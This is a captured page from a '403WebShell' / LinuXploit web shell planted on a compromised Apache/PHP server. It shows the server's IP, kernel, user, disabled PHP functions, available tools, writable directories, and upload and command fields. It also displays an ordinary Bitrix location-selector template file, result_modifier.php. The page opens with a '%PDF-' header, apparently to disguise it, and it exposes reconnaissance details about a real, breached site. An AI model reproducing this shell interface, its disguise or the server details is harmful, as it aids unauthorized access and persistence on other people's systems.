%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.14.150
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.location.selector.steps/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.location.selector.steps/templates/.default/result_modifier.php
<?
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die();

$arParams['SUPPRESS_ERRORS'] = $this->__component->tryParseBoolean($arParams['SUPPRESS_ERRORS']);
$arParams['DISABLE_KEYBOARD_INPUT'] = $this->__component->tryParseBoolean($arParams['DISABLE_KEYBOARD_INPUT']);
$arParams['RANDOM_TAG'] = $this->__component->tryParseString($arParams['RANDOM_TAG']);
$arParams['JS_CONTROL_GLOBAL_ID'] = $this->__component->tryParseString($arParams['JS_CONTROL_GLOBAL_ID']);
$arParams['JS_CONTROL_DEFERRED_INIT'] = $this->__component->tryParseString($arParams['JS_CONTROL_DEFERRED_INIT']);
$arParams['JS_CALLBACK'] = $this->__component->tryParseStringStrict($arParams['JS_CALLBACK']);
$arParams['INITIALIZE_BY_GLOBAL_EVENT'] = $this->__component->tryParseStringStrict($arParams['INITIALIZE_BY_GLOBAL_EVENT']);

$arResult['PRECACHED_POOL_JSON'] = array('a' => array()); // force PhpToJSObject to map this to {}, not to []

if(is_array($arResult['PRECACHED_POOL']))
{
	foreach($arResult['PRECACHED_POOL'] as $levelId => $levelNodes)
	{
		if(is_array($levelNodes))
		{
			foreach($levelNodes as $nodeId => $node)
			{
				$fNode = array(
					'DISPLAY' => $node['NAME'],
					'VALUE' => intval($node['ID']),
					'CODE' => $node['CODE'],
					'IS_PARENT' => $node['CHILD_CNT'] > 0,
					'TYPE_ID' => intval($node['TYPE_ID'])
				);

				if($node['IS_UNCHOOSABLE'])
					$fNode['IS_UNCHOOSABLE'] = true;

				$arResult['PRECACHED_POOL_JSON'][intval($levelId)][] = $fNode;
			}
		}
	}
}

$arResult['RANDOM_TAG'] = !empty($arParams['RANDOM_TAG']) ? $arParams['RANDOM_TAG'] : rand(999, 99999);
$arResult['ADMIN_MODE'] = defined('ADMIN_SECTION') && ADMIN_SECTION == 1;

// trunk
$arResult['ROOT_NODE'] = 0;
if(is_array($arResult['TREE_TRUNK']) && !empty($arResult['TREE_TRUNK']))
{
	$names = array();
	foreach($arResult['TREE_TRUNK'] as $item)
	{
		$names[] = $item['NAME'];
		$arResult['ROOT_NODE'] = $item['ID'];
	}

	$arResult['TRUNK_NAMES'] = $names;
}

// modes
$modes = array();
if($arResult['ADMIN_MODE'] || $arParams['ADMIN_MODE'] == 'Y')
	$modes[] = 'admin';

foreach($modes as &$mode)
	$mode = 'bx-'.$mode.'-mode';

$arResult['MODE_CLASSES'] = implode(' ', $modes);

Youez - 2016 - github.com/yon3zu
LinuXploit